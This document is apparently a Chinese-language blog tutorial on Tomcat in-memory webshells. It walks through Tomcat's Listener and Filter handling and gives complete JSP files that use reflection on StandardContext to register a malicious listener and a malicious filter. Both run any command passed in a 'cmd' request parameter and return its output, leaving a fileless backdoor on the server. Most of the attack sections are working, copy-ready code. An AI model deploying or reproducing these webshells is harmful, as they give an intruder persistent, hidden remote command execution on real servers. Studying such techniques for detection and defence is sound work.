tomcat内存马

研究了tomcat的处理流程之后就来研究下tomcat的内存马,主要适用于无文件落地。

Listener型内存马

Listener分析

tomcat 请求处理流程会从
Listener -> Filter -> Servlet的流程
其中Listener成了内存注入的一个目标。
目标是javax.servlet.ServletRequestListener接口,定义了两个方法
image.png
从介绍中我们可以看出
requestInitialized 是在request初始化的过程中调用,requestDestroyed是在request销毁的过程中调用

根据tomcat请求流程分析
我们在org.apache.catalina.core.StandardHostValve#invoke断点
image.png
跟进到org.apache.catalina.core.StandardContext#fireRequestInitEvent
image.png
在这里取出了所有的listener实例,并调用其requestInitialized方法
我们看出实例从org.apache.catalina.core.StandardContext#getApplicationEventListeners中取出,同时在StandardContext类中,org.apache.catalina.core.StandardContext#addApplicationEventListener添加了listeners,所以如果我们获取到StandardContext,并向其中添加listeren便能实现注入。

写内存马分析

首先我们看看jsp形成的类文件
jsp文件在catalina-home/webapps/ROOT/index.jsp
class文件在catalina-home/work/Catalina/localhost/ROOT/org/apache/jsp/index_jsp.class
image.png
所以即使我们删除了index.jsp,但是index_jsp.class也依然存在。
在org.apache.jsp.index_jsp#_jspService 中传入了request,所以我们可以根据request来获取到StandardContext实例
image.png

在org.apache.catalina.connector.Request#getContext中可以获取Context,但是传入的却是RequestFacade,Request与RequestFacade不是父子关系,所以无法直接转换,
但是在RequestFacade中包含Requset对象,但是却是protected方式,我们无法直接获取,所以我们可以通过反射来实现
image.png
代码如下:

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);# 获取Request对象
    StandardContext context = (StandardContext) req.getContext(); #获取StandardContext对象
%>

获取对象之后再注入Listener便可以
内存马如下:

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

我们在创建一个jsp文件,写入内存马,catalina-home/webapps/ROOT/shell.jsp
访问http://localhost:8080/shell.jsp,生成class文件后便成功植入内存马
再次访问,看到已经成功植入listerer内存马
image.png
image.png

Filter型内存马

Filter分析

根据根据tomcat请求流程分析 及上面的分析,Filter型内存马也就很好理解了,但是Filter型内存马构造比较困难
首先在org.apache.catalina.core.StandardWrapperValve#invoke 创建filterChain
image.png
然后一个个调用filter的doFilter方法,
我们看看构造的filterChain
跟进到org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
image.png
也是从request对象中获取的,方法为org.apache.catalina.connector.Request#getFilterChain,代码如下:

        FilterMap filterMaps[] = context.findFilterMaps();

        // If there are no filter mappings, we are done
        if ((filterMaps == null) || (filterMaps.length == 0))
            return (filterChain);

        // Acquire the information we will need to match filter mappings
        DispatcherType dispatcher =
                (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

        String requestPath = null;
        Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
        if (attribute != null){
            requestPath = attribute.toString();
        }

        String servletName = wrapper.getName();

        // Add the relevant path-mapped filters to this filter chain
        for (int i = 0; i < filterMaps.length; i++) {
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
            if (!matchFiltersURL(filterMaps[i], requestPath))
                continue;
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }

首先执行context的findFilterMaps,方法为org.apache.catalina.core.StandardContext#findFilterMaps
在没有默认情况下我们没有任何findFilterMaps的情况下,结果返回为0,所以我们需要构造
在此类下有addFilterMap方法添加filterMap,
image.png
当filter不为空的情况下,经过一系列判断,调用了addFilter
add的对象是一个filterConfig,filterConfig是通过

ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());

来得到的,在
org.apache.catalina.core.StandardContext#findFilterConfig
image.png
filterConfigs是一个map对象

private HashMap<String, ApplicationFilterConfig> filterConfigs =
            new HashMap<>();

所以我们需要向里面添加<String, ApplicationFilterConfig>,我们看看ApplicationFilterConfig怎么构造
image.png
其传入的对象是Context与FilterDef,
Filterdef对象是一个filer的定义
image.png

综上我们我们编写shell顺序如下:

  1. 获取context对象,与listener型一致
Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
  1. 创建并定义一个filter
<%!
    public class TestFilter implements Filter {

        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
                throws IOException, ServletException {
            if (request.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = request.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request2 = (Request)requestF.get(request);
                    request2.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void destroy() {

        }

        public void init(FilterConfig arg0) throws ServletException {

        }

    }
%>
Filter filter = new TestFilter();
  1. 创建一个filter定义
final String name = "KpLi0rnas";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
  1. 添加filtermap
standardContext.addFilterDef(filterDef);//要standardContext中添加filter定义,在org.apache.catalina.core.StandardContext#validateFilterMap中会进行校验
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);
  1. 添加 filterConfigs
//私有的构造方法,需要反射调用
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
//filterConfigs为私有属性,需要反射调用
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
filterConfigs.put(name,filterConfig);

总体如下:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterChain" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%!
    public class TestFilter implements Filter {

        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
                throws IOException, ServletException {
            if (request.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = request.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request2 = (Request)requestF.get(request);
                    request2.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void destroy() {

        }

        public void init(FilterConfig arg0) throws ServletException {

        }

    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    Filter filter = new TestFilter();
    //实例化一个ApplicationFilterConfig对象
    final String name = "KpLi0rnas";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    /**
     * 将filterDef添加到filterDefs中
     */
    standardContext.addFilterDef(filterDef);

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());

    standardContext.addFilterMap(filterMap);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    //添加到filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    filterConfigs.put(name,filterConfig);
    out.print("Inject Success !");
%>

访问构造好的jsp文件,file就添加了,再访问页面便成功执行命令。
image.png

参考

https://xz.aliyun.com/t/10358